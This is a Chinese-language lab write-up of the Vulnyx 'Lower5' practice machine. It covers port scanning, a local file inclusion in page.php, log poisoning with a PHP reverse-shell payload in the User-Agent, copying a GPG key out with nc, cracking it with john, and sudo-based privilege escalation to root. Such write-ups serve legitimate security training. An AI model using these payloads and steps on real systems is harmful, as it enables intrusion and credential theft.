Vlx_Lower5

靶机来源： https://vulnyx.com/

难度：Low

一、信息收集

1、主机探测

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
┌──(root㉿kali)-[~/miaosec]
└─# nmap -sn 192.168.2.0/24              
Starting Nmap 7.98 ( https://nmap.org ) at 2026-03-19 10:07 +0800
Nmap scan report for 192.168.2.1
Host is up (0.00033s latency).
MAC Address: 0A:00:27:00:00:07 (Unknown)
Nmap scan report for 192.168.2.2
Host is up (0.00022s latency).
MAC Address: 08:00:27:A9:B8:16 (Oracle VirtualBox virtual NIC)
Nmap scan report for 192.168.2.92
Host is up (0.00060s latency).
MAC Address: 08:00:27:5C:D9:4C (Oracle VirtualBox virtual NIC)
Nmap scan report for 192.168.2.4
Host is up.
Nmap done: 256 IP addresses (4 hosts up) scanned in 7.49 seconds

靶机IP：192.168.2.92

2、端口扫描

1.全端口扫描

1
2
3
4
5
6
7
8
9
10
11
12
┌──(root㉿kali)-[~/miaosec]
└─# nmap --min-rate 10000 -p- 192.168.2.92                   
Starting Nmap 7.98 ( https://nmap.org ) at 2026-03-19 10:07 +0800
Nmap scan report for 192.168.2.92
Host is up (0.00035s latency).
Not shown: 65533 closed tcp ports (reset)
PORT   STATE SERVICE
22/tcp open  ssh
80/tcp open  http
MAC Address: 08:00:27:5C:D9:4C (Oracle VirtualBox virtual NIC)

Nmap done: 1 IP address (1 host up) scanned in 6.60 seconds

开放端口：22、80

2.详细信息扫描

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
┌──(root㉿kali)-[~/miaosec]
└─# nmap --min-rate 10000 -sT -sC -sV -O -p22,80 192.168.2.92
Starting Nmap 7.98 ( https://nmap.org ) at 2026-03-19 10:07 +0800
Nmap scan report for 192.168.2.92
Host is up (0.00065s latency).

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 9.2p1 Debian 2+deb12u5 (protocol 2.0)
| ssh-hostkey: 
|   256 a9:a8:52:f3:cd:ec:0d:5b:5f:f3:af:5b:3c:db:76:b6 (ECDSA)
|_  256 73:f5:8e:44:0c:b9:0a:e0:e7:31:0c:04:ac:7e:ff:fd (ED25519)
80/tcp open  http    Apache httpd 2.4.62 ((Debian))
|_http-title: vTeam a Corporate Multipurpose Free Bootstrap Responsive template
|_http-server-header: Apache/2.4.62 (Debian)
MAC Address: 08:00:27:5C:D9:4C (Oracle VirtualBox virtual NIC)
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose|router
Running: Linux 4.X|5.X, MikroTik RouterOS 7.X
OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5 cpe:/o:mikrotik:routeros:7 cpe:/o:linux:linux_kernel:5.6.3
OS details: Linux 4.15 - 5.19, OpenWrt 21.02 (Linux 5.4), MikroTik RouterOS 7.2 - 7.5 (Linux 5.6.3)
Network Distance: 1 hop
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 11.38 seconds

3.udp扫描

1
2
3
4
5
6
7
8
9
10
11
┌──(root㉿kali)-[~/miaosec]
└─# nmap -sU --top-ports 100 192.168.2.92                    
Starting Nmap 7.98 ( https://nmap.org ) at 2026-03-19 10:08 +0800
Nmap scan report for 192.168.2.92
Host is up (0.0010s latency).
Not shown: 99 closed udp ports (port-unreach)
PORT   STATE         SERVICE
68/udp open|filtered dhcpc
MAC Address: 08:00:27:5C:D9:4C (Oracle VirtualBox virtual NIC)

Nmap done: 1 IP address (1 host up) scanned in 102.96 seconds

二、WEB渗透

1、80端口

访问80端口 img

2、文件包含LFI

访问其他页面，发现存在文件包含的点

1
http://192.168.2.92/page.php?inc=about.html

尝试读取/etc/passwd img 成功获取到信息，使用BP看看可以执行哪些命令 img

发现除了/etc/passwd外，还可以读取/var/log/apache2/access.log的信息 img

3、LOG 投毒

尝试通过User-Agent，将反弹shell的命令写入到日志里面

1
curl -s -H "User-Agent: <?php system('busybox nc 192.168.2.4 4444 -e /bin/sh'); ?>" "http://192.168.2.92/"

开启监听后，重新读取日志文件

1
curl  "http://192.168.2.92/page.php?inc=/var/log/apache2/access.log"

成功获取到shell

1
2
3
4
5
6
┌──(root㉿kali)-[~]
└─# nc -lvnp 4444
listening on [any] 4444 ...
connect to [192.168.2.4] from (UNKNOWN) [192.168.2.92] 33682
id
uid=33(www-data) gid=33(www-data) groups=33(www-data)

稳定shell

1
2
3
4
5
6
7
8
/usr/bin/script -qc /bin/bash /dev/null
# 按下 Ctrl+Z 将其挂起
stty raw -echo; fg
# 按下回车
reset xterm
export TERM=xterm
export SHELL=/bin/bash
stty rows 24 columns 80

三、权限提升

1、获取low权限

查看sudo -l

1
2
3
4
5
6
7
8
www-data@lower5:/var/www/html$ sudo -l
Matching Defaults entries for www-data on lower5:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin,
    use_pty

User www-data may run the following commands on lower5:
    (low) NOPASSWD: /usr/bin/bash

直接进行提权即可

1
2
3
www-data@lower5:/var/www/html$ sudo -u low /usr/bin/bash -p
low@lower5:/var/www/html$ id
uid=1000(low) gid=1000(low) groups=1000(low)

2、获取root权限

查看sudo -l

1
2
3
4
5
6
7
8
low@lower5:/var/www/html$ sudo -l
Matching Defaults entries for low on lower5:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin,
    use_pty

User low may run the following commands on lower5:
    (root) NOPASSWD: /usr/bin/pass

/usr/bin/pass是一个基于 GPG（GNU Privacy Guard）和文件系统的轻量级命令行密码管理工具，主要作用是：安全地存储、检索和管理密码及其他敏感信息（如 API 密钥、SSH 密钥口令等）

查看文件结构

1
2
3
4
low@lower5:~$ sudo /usr/bin/pass               
Password Store
`-- root
    `-- password

存在一个名为 root/password 的密码条目

尝试进行读取

1
low@lower5:~$ sudo /usr/bin/pass show root/password

发现需要密码 img

在/home/low目录下存在一个root.gpg，将其拿到本地

1
low@lower5:~$ nc 192.168.2.4 4444 < root.gpg

kali

1
2
3
4
5
┌──(root㉿kali)-[~/miaosec]
└─# nc -lvnp 4444 > root.gpg        
listening on [any] 4444 ...
connect to [192.168.2.4] from (UNKNOWN) [192.168.2.92] 41236
^C

使用john进行爆破

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
┌──(root㉿kali)-[~/miaosec]
└─# gpg2john root.gpg > hash

┌──(root㉿kali)-[~/miaosec]
└─# john --wordlist=../Tool/techyou.txt hash
Using default input encoding: UTF-8
Loaded 1 password hash (gpg, OpenPGP / GnuPG Secret Key [32/64])
Cost 1 (s2k-count) is 65011712 for all loaded hashes
Cost 2 (hash algorithm [1:MD5 2:SHA1 3:RIPEMD160 8:SHA256 9:SHA384 10:SHA512 11:SHA224]) is 2 for all loaded hashes
Cost 3 (cipher algorithm [1:IDEA 2:3DES 3:CAST5 4:Blowfish 7:AES128 8:AES192 9:AES256 10:Twofish 11:Camellia128 12:Camellia192 13:Camellia256]) is 7 for all loaded hashes
Will run 8 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
Password1        (administrator)     
1g 0:00:00:27 DONE (2026-03-19 11:17) 0.03683g/s 129.3p/s 129.3c/s 129.3C/s Password1..killa
Use the "--show" option to display all of the cracked passwords reliably
Session completed.

获取到密码是：Password1

成功获取到root用户的密码

1
2
low@lower5:~$ sudo /usr/bin/pass show root/password
r00tP@zzW0rD123

切换到root权限

1
2
3
4
low@lower5:~$ su root
Password: 
root@lower5:/home/low# id
uid=0(root) gid=0(root) grupos=0(root)

四、查看FALG

1
2
3
root@lower5:/home/low# cat /root/root.txt /home/low/user.txt 
008cdc7563e1d5afbcac3a241eba4db8
30a7b18992fef054ca6d904769fac413
Vulnyx
#文件包含LFI #Log投毒 #Sudo_Bash #Sudo_Pass
Vlx_Lower5
http://miao-sec.github.io/Vulnyx/Vlx-Lower5/
作者
Miao
发布于
2026年3月19日
许可协议
BY-MIAO